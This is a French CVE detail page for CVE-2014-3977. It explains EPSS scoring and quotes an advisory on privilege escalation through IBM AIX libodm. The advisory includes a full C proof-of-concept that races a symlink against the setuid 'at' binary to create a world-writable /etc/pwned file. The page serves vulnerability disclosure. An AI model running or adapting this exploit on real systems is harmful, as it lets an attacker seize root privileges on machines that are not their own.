CVE-2014-3977 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Vulnerability title: Privilege Escalation in IBM AIX CVE: CVE-2014-3977 Vendor: IBM Product: AIX Affected version: 6.1.8 and later Fixed version: N/A Reported by: Tim Brown Details: It has been identified that libodm allows privilege escalation via arbitrary file writes with elevated privileges (utilising SetGID and SetUID programs). The following will cause a new file /etc/pwned to be created with permissions of rw-rw-rw: #include <stdlib.h> #include <unistd.h> #include <stdio.h> int pwnedflag; int main(int argc, char **argv) { pwnedflag = 0; umask(0); if (fork()) { setenv("ODMERR", "1", 1); while (!pwnedflag) { if (!access("/etc/pwned", F_OK)) { pwnedflag = 1; printf("Race won...\r\n"); unsetenv("ODMERR"); exit(EXIT_SUCCESS); } system("/usr/bin/at"); } } else { while (!pwnedflag) { symlink("/etc/pwned", "ODMTRACE0"); if (!access("/etc/pwned", F_OK)) { pwnedflag = 1; printf("Race won...\r\n"); exit(EXIT_SUCCESS); } unlink("ODMTRACE0"); } } } It is believed this is a side affect of CVE-2012-2179 being incorrectly resolved. As understood, prior to CVE-2012-2179 being fixed, libodm would simply open ODMTRACE0 and write to it assuming ODMERR=1. It is believed that the fix that was applied was to check for the presence of ODMTRACE0 and increment until no file was found. It is necessary to win a time of check, time of use race condition by creating a symlink from the ODMTRACE0 in the current working directory to the target file under hoping that the link will be added after the check has been made that ODMTRACE0 does not exist.
